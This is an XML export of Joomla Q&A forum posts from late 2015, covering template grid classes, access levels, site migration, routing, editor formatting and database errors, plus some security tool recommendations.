  <row Id="14702" PostTypeId="1" AcceptedAnswerId="14704" CreationDate="2015-12-16T17:15:56.423" Score="0" ViewCount="349" Body="&lt;p&gt;I wrote a realy basic Joomla template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the bootstrapcore in the index.php with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('bootstrap.loadCss', true, $this-&amp;gt;direction);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to have 3 grids after my heading:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt;heading&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;                1&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;                2&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-sm-4&quot;&amp;gt;&#xA;                3&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Somehow this is not displayed the right way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T0dJW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T0dJW.png&quot; alt=&quot;output&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I work with Joomla 3.4.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did i miss something to include? &lt;/p&gt;&#xA;" OwnerUserId="3975" LastActivityDate="2015-12-16T18:24:07.733" Title="Gridsystem from BS3 not working propably in Joomla!" Tags="|joomla-3.4|bootstrap|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14703" PostTypeId="2" ParentId="14702" CreationDate="2015-12-16T17:23:43.987" Score="0" Body="&lt;p&gt;The first I would do is check the source (check inside the ) to see if Bootstrap is included since your syntax looks correct.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-12-16T17:23:43.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14704" PostTypeId="2" ParentId="14702" CreationDate="2015-12-16T18:24:07.733" Score="3" Body="&lt;p&gt;The syntax in the code above is for Bootstrap 3, but Joomla uses Bootstrap 2.&#xA;BS 2 uses &lt;code&gt;span4&lt;/code&gt; instad of &lt;code&gt;col-sm-4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://getbootstrap.com/2.3.2/scaffolding.html#gridSystem&quot; rel=&quot;nofollow&quot;&gt;Read Here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3975" LastActivityDate="2015-12-16T18:24:07.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14705" PostTypeId="1" CreationDate="2015-12-16T19:20:45.703" Score="2" ViewCount="318" Body="&lt;p&gt;I need to set articles to multiple access levels, but currently all I've been finding is the drop-down  selector for article access levels.&lt;/p&gt;&#xA;&lt;p&gt;I have four user groups:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Solutions&lt;/p&gt;&#xA;&lt;p&gt;Authorized&lt;/p&gt;&#xA;&lt;p&gt;Retail&lt;/p&gt;&#xA;&lt;p&gt;Distributors&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The problem is each group or a mixture of groups needs to have access to certain pages. Do you have a recommended approach for this that's not unwieldy? I'm hoping the answer isn't to create an access level for every combination of groups.&lt;/p&gt;&#xA;&lt;p&gt;Examples (if needed):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The article &amp;quot;Business Program&amp;quot; needs to be accessible by Solutions&#xA;and Distributor groups.&lt;/li&gt;&#xA;&lt;li&gt;The article &amp;quot;Marketing Logos&amp;quot; needs to be accessible by Authorized,&#xA;Retail, and Distributors groups.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;After looking at my article access level map, there will always be a combination of groups needing access.&lt;/p&gt;&#xA;&lt;p&gt;Please any insight would be great. Thank you.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I will be adjusting MENU access levels not article access levels. Basically the same process and I think is the correct way to do this.&lt;/p&gt;&#xA;" OwnerUserId="7451" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-01-10T11:16:40.557" Title="J3.3 Assigning An Article Multiple Access Levels" Tags="|articles|user-groups|access|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14706" PostTypeId="2" ParentId="14705" CreationDate="2015-12-16T23:04:42.633" Score="1" Body="&lt;p&gt;Well after brainstorming I've answered my own question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to create an access level to match the menu item and assign the combination of user groups that need access. It's pretty easy to manage and seems future-proofed (if I need to add another level of usergroup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the database for access is an integer, I can't really make it a csv. A lot of customization would be needed that is, to be honest, out of my realm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But still, if you have something better, let's here it. I scoured Google but didn't really come up with results for this type of question. Also, feel free to let me know if I just brain-farted and this was a stupid question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Everyone.&lt;/p&gt;&#xA;" OwnerUserId="7451" LastActivityDate="2015-12-16T23:04:42.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14707" PostTypeId="1" AcceptedAnswerId="14822" CreationDate="2015-12-17T05:51:50.410" Score="3" ViewCount="1160" Body="&lt;p&gt;I recently shifted Joomla 1.6 site from one server to another. The site template is showing, but the articles and components are not loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the SEO friendly URL option, but turning it on and off didn't work or change the URL. Also now it's running on a newer version of PHP 5.5, I also checked for php errors after setting the display errors to maximum which then showed two errors, one of which had a deprecated &lt;code&gt;preg_replace&lt;/code&gt; function which I replaced with &lt;code&gt;preg_replace_callback&lt;/code&gt; and second was&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Declaration of JCacheStorage::get() should be compatible with JObject::get($property, $default = NULL)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7456" LastEditorUserId="12352" LastEditDate="2018-11-27T19:52:32.570" LastActivityDate="2018-11-27T19:52:32.570" Title="Joomla site content not loading" Tags="|php|joomla-1.6|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="14709" PostTypeId="2" ParentId="14707" CreationDate="2015-12-17T09:57:09.450" Score="2" Body="&lt;p&gt;First of all, Joomla 1.6 was only intended as a short term release and you should probably update to Joomla 3.x to keep your website secure. See &lt;a href=&quot;https://www.ostraining.com/blog/joomla/upgrade-joomla-16-to-25/&quot; rel=&quot;nofollow&quot;&gt;https://www.ostraining.com/blog/joomla/upgrade-joomla-16-to-25/&lt;/a&gt; for instructions on upgrading to Joomla 2.5. The update from 2.5 to 3.x is relatively simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a couple of things to try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you can choose your PHP version in cPanel or similar, try changing to PHP 5.3 or PHP 5.4 to see if that helps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rename &lt;code&gt;.htaccess&lt;/code&gt; to &lt;code&gt;.htaccess.old&lt;/code&gt; or similar and copy the default &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt; at least temporarily to see if that helps. If it does, check to see what changes have been made in &lt;code&gt;.htaccess.old&lt;/code&gt; as they may not suit the new hosting environment.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It probably isn't causing the issue, but check the tmp and logs paths are correct in Global Configuration.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-12-17T09:57:09.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14710" PostTypeId="2" ParentId="14019" CreationDate="2015-12-17T15:15:31.660" Score="0" Body="&lt;p&gt;You've got it right. In: &lt;strong&gt;site/templates/&lt;em&gt;mytemplate&lt;/em&gt;/code/com_content/models/articles.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should have the class created like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ContentModelArticles extends ContentModelArticlesDefault&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Baiscally the plugin load the &quot;original class&quot; into a string actually creating it through eval(), with Default added to it.&lt;/p&gt;&#xA;" OwnerUserId="7458" LastActivityDate="2015-12-17T15:15:31.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14711" PostTypeId="2" ParentId="14696" CreationDate="2015-12-17T20:00:10.083" Score="5" Body="&lt;p&gt;These are the tools I use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JOOMLA EXTENSIONS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watchful.li: similar to myJoomla.com and also monthly &#xA;&lt;a href=&quot;https://watchful.li/&quot; rel=&quot;noreferrer&quot;&gt;https://watchful.li/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RSFirewall: Has the best scan for malware and files that do not belong in core Joomla install&#xA;&lt;a href=&quot;https://www.rsjoomla.com/joomla-extensions/joomla-security.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.rsjoomla.com/joomla-extensions/joomla-security.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin Tools Pro: good firewall and a PHP changes scan&#xA;&lt;a href=&quot;https://www.akeebabackup.com/products/admin-tools.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.akeebabackup.com/products/admin-tools.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TOOLS TO SCAN&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sitecheck.sucuri.net/&quot; rel=&quot;noreferrer&quot;&gt;https://sitecheck.sucuri.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.google.com/webmasters/&quot; rel=&quot;noreferrer&quot;&gt;https://www.google.com/webmasters/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;STRONG HTACCESS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/nikosdion/master-htaccess/blob/master/htaccess.txt&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/nikosdion/master-htaccess/blob/master/htaccess.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Htaccess_examples_(security)&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Htaccess_examples_(security)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.akeebabackup.com/documentation/admin-tools/htaccess-maker.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.akeebabackup.com/documentation/admin-tools/htaccess-maker.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2015-12-17T20:00:10.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14712" PostTypeId="1" CreationDate="2015-12-17T20:37:02.253" Score="1" ViewCount="245" Body="&lt;p&gt;I have a local XAMPP Joomla! website that I am trying to add CjBlog to, but it needs CoreJoomla Framework Library which keeps giving me &quot;Error Please enter a package folder. Unable to find install package&quot;. Can someone help me figure this out?&lt;/p&gt;&#xA;" OwnerUserId="7461" LastActivityDate="2015-12-17T21:43:14.313" Title="Can not install com_cjlib (CoreJoomla Framework Library)" Tags="|component|extensions|" AnswerCount="0" CommentCount="1" ClosedDate="2015-12-18T18:38:35.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="14717" PostTypeId="2" ParentId="14700" CreationDate="2015-12-18T09:54:59.953" Score="2" Body="&lt;p&gt;the file that generates the feeds is located at:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/libraries/joomla/document/feed/renderer&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;****Joomla 3.x***&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But its a core file - so never change that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are able to assign a feed module to each categorie for example and then change it via overrides.&lt;/p&gt;&#xA;" OwnerDisplayName="user5421" LastActivityDate="2015-12-18T09:54:59.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14718" PostTypeId="1" AcceptedAnswerId="14719" CreationDate="2015-12-18T11:49:13.380" Score="5" ViewCount="314" Body="&lt;p&gt;Im trying to perform a redirect to a component's view&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;form role=&quot;form&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_rouf&amp;amp;view=front');  ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because SEF is enabled im getting redirected at :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/index.php/component/rouf/?Itemid=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and i get &lt;code&gt;The page isn't redirecting properly&lt;/code&gt; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never user SEF before but i would like to keep it, so how i perform the redirects at the views when SEF is enabled ?&lt;/p&gt;&#xA;" OwnerUserId="7302" LastActivityDate="2017-07-19T04:06:37.727" Title="Redirecting to component when using SEF" Tags="|joomla-3.x|component|development|sef|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14719" PostTypeId="2" ParentId="14718" CreationDate="2015-12-18T12:23:18.710" Score="2" Body="&lt;p&gt;The correct way to do that and to accomplish more complicated tasks is to add a router file in &lt;code&gt;/components/com_rouf/router.php&lt;/code&gt; with a class that will manage your custom routing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;code&gt;com_content/router.php&lt;/code&gt; to have an idea and I suggest you to read this article: &lt;a href=&quot;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway if the page you're going to redirect is a menu item, add the Itemid parameter to the link with the related menu item id, for a simple fix.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2015-12-18T12:23:18.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14720" PostTypeId="2" ParentId="14677" CreationDate="2015-12-18T12:55:20.717" Score="3" Body="&lt;p&gt;Try removing the blank spaces in &lt;em&gt;fields name&lt;/em&gt; and &lt;em&gt;fieldset name&lt;/em&gt; attributes    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;RouteSettings&quot;&amp;gt;&#xA;   &amp;lt;fieldset name=&quot;RouteSettings&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;route_id&quot; type=&quot;sql&quot; label=&quot;Select a route&quot; description=&quot;Select a route previously created in the backend.&quot; query=&quot;SELECT id AS value, route_name AS route_id FROM #__cddir_routes where id_type = 1&quot;/&amp;gt;&#xA;   &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2015-12-18T12:55:20.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14721" PostTypeId="2" ParentId="10853" CreationDate="2015-12-18T14:11:25.787" Score="0" Body="&lt;p&gt;Try this query redirect (i use this one for my query redirects in Joomla):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{QUERY_STRING} view=registration&#xA;RewriteRule ^(.*)$ mywebsite.com/forum/? [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cheers!&lt;/p&gt;&#xA;" OwnerDisplayName="user5421" LastActivityDate="2015-12-18T14:11:25.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14722" PostTypeId="1" CreationDate="2015-12-18T14:31:13.397" Score="1" ViewCount="943" Body="&lt;p&gt;I would like to create or buy a script that would be able to post a new article on Joomla from a WordPress website.  I often find the opposite as a solution...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can code this outside of the local Joomla environment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7469" LastEditorUserId="159" LastEditDate="2015-12-18T18:40:31.437" LastActivityDate="2016-10-14T12:32:10.893" Title="How to create a article from an external website (eg. WordPress)?" Tags="|joomla-3.x|wordpress|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14723" PostTypeId="1" CreationDate="2015-12-18T18:48:43.137" Score="0" ViewCount="5654" Body="&lt;p&gt;Sucuri reports an alert about a suspect malicious code on 3 different Joomla sites. One of them is now blacklisted only by Mcafee and not by Google, Norton, Bitdefender and so on. On Virustotal everything seems to be ok&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Detected issue&lt;/strong&gt;&#xA;Internal Server Error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Definition&lt;/strong&gt;&#xA;500-error?v1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Infected url&lt;/strong&gt;&#xA;httx://www.sitename.it/404javascript.js ( View Payload )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I scanned my pc and all the website files using&#xA;&lt;em&gt;Comodo&#xA; - Malwarebytes&#xA; - Spybot&lt;/em&gt;&#xA;and no issue detected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked for &lt;strong&gt;404javascript.js&lt;/strong&gt; on all files and on db.&#xA;I found nothing.&#xA;The websites works normally (The blacklisted one is now off line).&#xA;Htaccess is clean.&#xA;Log file has just &#xA;The host doesn't detect abnormalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All extensions are updated and come from Jed &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla version 3.4.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;php ver 5.4.45&lt;/p&gt;&#xA;&#xA;&lt;p&gt;db ver 5.5.45-37.4-log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Framework Helix3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template shaper helix3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pagebuilder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simpleportfolio&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of these sites was published two days before Sucuri alert.&#xA;I've of course a backup but I'd like to understand something more about &lt;strong&gt;404javascript.js&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7470" LastActivityDate="2015-12-19T12:59:57.903" Title="Sucuri detect 404javascript.js It's really a security issue?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14724" PostTypeId="2" ParentId="14722" CreationDate="2015-12-18T20:23:54.580" Score="3" Body="&lt;p&gt;You can use the API for Joomla to add articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google is your friend: &lt;a href=&quot;https://zunostudios.com/blog/development/204-using-the-joomla-api-to-add-articles-programmatically&quot; rel=&quot;nofollow&quot;&gt;Using the Joomla! 3.3 API to add articles programmatically&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3570" LastActivityDate="2015-12-18T20:23:54.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14725" PostTypeId="2" ParentId="498" CreationDate="2015-12-19T00:19:10.317" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://audit-fs.co.za/&quot; rel=&quot;nofollow&quot;&gt;http://audit-fs.co.za/&lt;/a&gt; has a free tool called Audit_FS that shows you modified Joomla files and/or possibly corrupted Joomla files. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As a basic security tool Audit_FS is designed to perform audits of&#xA;  only your Joomla!® files, as well as, checking your file and directory&#xA;  permissions. It does not check for any changes or hacking in your&#xA;  database records nor does it check any files from extensions that you&#xA;  may have installed. The audit report will also ignore .htaccess,&#xA;  robots.xt, configuration.php, configuration.php-dist and&#xA;  copyright.php.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7471" LastEditorUserId="115" LastEditDate="2015-12-21T00:47:10.797" LastActivityDate="2015-12-21T00:47:10.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14726" PostTypeId="2" ParentId="14723" CreationDate="2015-12-19T00:32:24.487" Score="2" Body="&lt;p&gt;This 500 error is an error we're receiving from your server. That 404javascript.js file is not a real file, it's a temp file we create when scanning the domain. Meaning, it won't be on your server, but something is causing an error to generate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you by chance looked at your error logs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note, if you contact the Sucuri Labs group they'd be happy to help you diagnose this further. You can reach them at labs@sucuri.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tony&lt;/p&gt;&#xA;" OwnerUserId="7472" LastEditorUserId="126" LastEditDate="2015-12-19T12:59:57.903" LastActivityDate="2015-12-19T12:59:57.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14727" PostTypeId="1" CreationDate="2015-12-19T16:37:09.070" Score="1" ViewCount="761" Body="&lt;p&gt;When editing an article, and after clicking save I lost all the formatting, hyperlink etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to change the text filters to NO FILTERS for the superuser and all other also, but the problem was not solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, I received the error about my DATABASE not being aligned with the CMS (3.4.0-2015-02-26) version. Maybe the two things are related??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone can help I would be grateful.&lt;/p&gt;&#xA;" OwnerUserId="7475" LastEditorUserId="1629" LastEditDate="2015-12-20T22:57:54.560" LastActivityDate="2023-12-11T09:05:35.720" Title="TinyMCE Articles Lose Formatting" Tags="|tinymce|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14728" PostTypeId="2" ParentId="14727" CreationDate="2015-12-20T00:51:57.173" Score="0" Body="&lt;p&gt;In TinyMCE, some characters or HTML entities are removed for security reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try JCE and enable options to accept HTML entities, PHP, CSS, Javascript, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select these options as and when you need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/joomla-3&quot; rel=&quot;nofollow&quot;&gt;https://www.joomlacontenteditor.net/downloads/editor/joomla-3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-12-20T00:51:57.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14729" PostTypeId="2" ParentId="14727" CreationDate="2015-12-20T04:46:47.550" Score="0" Body="&lt;p&gt;If you are getting an error notice from your database, it is highly likely that you need to fix that before it will save edits. Select the menu &lt;code&gt;Extensions &amp;gt; Manage&lt;/code&gt; and click &lt;code&gt;Database&lt;/code&gt; and see if you need to synchronise or fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have experienced this issue myself, and if your database is up to date, then it is the issue of TinyMCE stripping formatting characters, though changing the filters for the superuser should work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you do need to ensure that you clear your cache including resetting the expired cache, and logout. Reset your browser cache, and exit the browser and then reload. It should now work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My preferred is JCE. I've found that I never have this issue with JCE, and it has better control over the formatting of special characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit OT but a simpler way to add code is to use Sourcerer from NoNumbers which enables direct inclusion of code between &lt;code&gt;{source}...{/source}&lt;/code&gt; tags. Use this with JCE and you have covered every option.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastEditorUserId="4047" LastEditDate="2015-12-22T03:06:19.863" LastActivityDate="2015-12-22T03:06:19.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14732" PostTypeId="2" ParentId="14727" CreationDate="2015-12-20T09:41:21.587" Score="0" Body="&lt;p&gt;Yes i received the error in &lt;code&gt;Extensions &amp;gt; Manage&lt;/code&gt; and click &lt;code&gt;Database&lt;/code&gt;. I solved it by clicking &lt;code&gt;FIX&lt;/code&gt;; moreover i set for all access level the text filter to &lt;code&gt;NO FILTER&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using JCE solves the problem.&lt;/p&gt;&#xA;" OwnerUserId="7475" LastActivityDate="2015-12-20T09:41:21.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14733" PostTypeId="2" ParentId="13982" CreationDate="2015-12-20T11:37:07.237" Score="1" Body="&lt;p&gt;Emoji's a 4 byte characters. This means that your database needs utf8mb4 support to deal with this. Joomla currently does not support this and this is the result (this was part of the cause of the security vulnerability in 3.4.6 and also a similar wordpress security issue from about 12 months ago). The fix has been included in the 3.5 branch for nearly 6 months now and should be shipped with that release in January. This will also require K2 to make some small changes to their database fields in order to add support (collating utf8mb4 rather than utf8 in their database). Until this happens you are best to use images or SVG's rather than unicode characters to add emoji support&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-12-20T11:37:07.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14734" PostTypeId="2" ParentId="14707" CreationDate="2015-12-20T13:41:58.927" Score="2" Body="&lt;p&gt;PHP 5.5 is very unlikely to work for a J1.6 installation and corresponding template for that version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Change your PHP version&lt;/strong&gt; to the version you were using on the previous server.&lt;/li&gt;&#xA;&lt;li&gt;OR better yet, keep using PHP 5.5 and &lt;strong&gt;upgrade your installation to J3 and update your template&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Guaranteed that will solve your issues&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2015-12-20T13:41:58.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14735" PostTypeId="1" CreationDate="2015-12-20T14:35:50.873" Score="0" ViewCount="69" Body="&lt;p&gt;&lt;a href=&quot;http://www.honestbulksms.com&quot; rel=&quot;nofollow&quot;&gt;Joomla 2.5 site&lt;/a&gt; shows this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unknown storage engine 'InnoDB' SQL=INSERT INTO `josk6_session` (`session_id`, `client_id`, `time`) VALUES ('de4e7a49e0bc880dc85f8349f0b44054', 0, '1450620422')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should I do now?&lt;/p&gt;&#xA;" OwnerUserId="7477" LastEditorUserId="1629" LastEditDate="2015-12-20T22:59:11.983" LastActivityDate="2016-03-20T01:57:07.397" Title="Joomla 2.5 site shows this code" Tags="|joomla-2.5|fix-my-code|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14736" PostTypeId="2" ParentId="14735" CreationDate="2015-12-21T00:44:34.810" Score="2" Body="&lt;p&gt;Welcome to JSE. If your site was working and this error has just happened then it is likely that your server is experiencing an error. Contact your hosting provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if you are setting up a new site then it is possible that there is either a configuration error or the server is not offering &lt;code&gt;InnoDB&lt;/code&gt; as a storage engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way if it is not your server then you need to contact your hosting provider. If it is your server then you need to ensure that it is setup with the &lt;code&gt;InnoDB&lt;/code&gt; storage engine.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2015-12-21T00:44:34.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
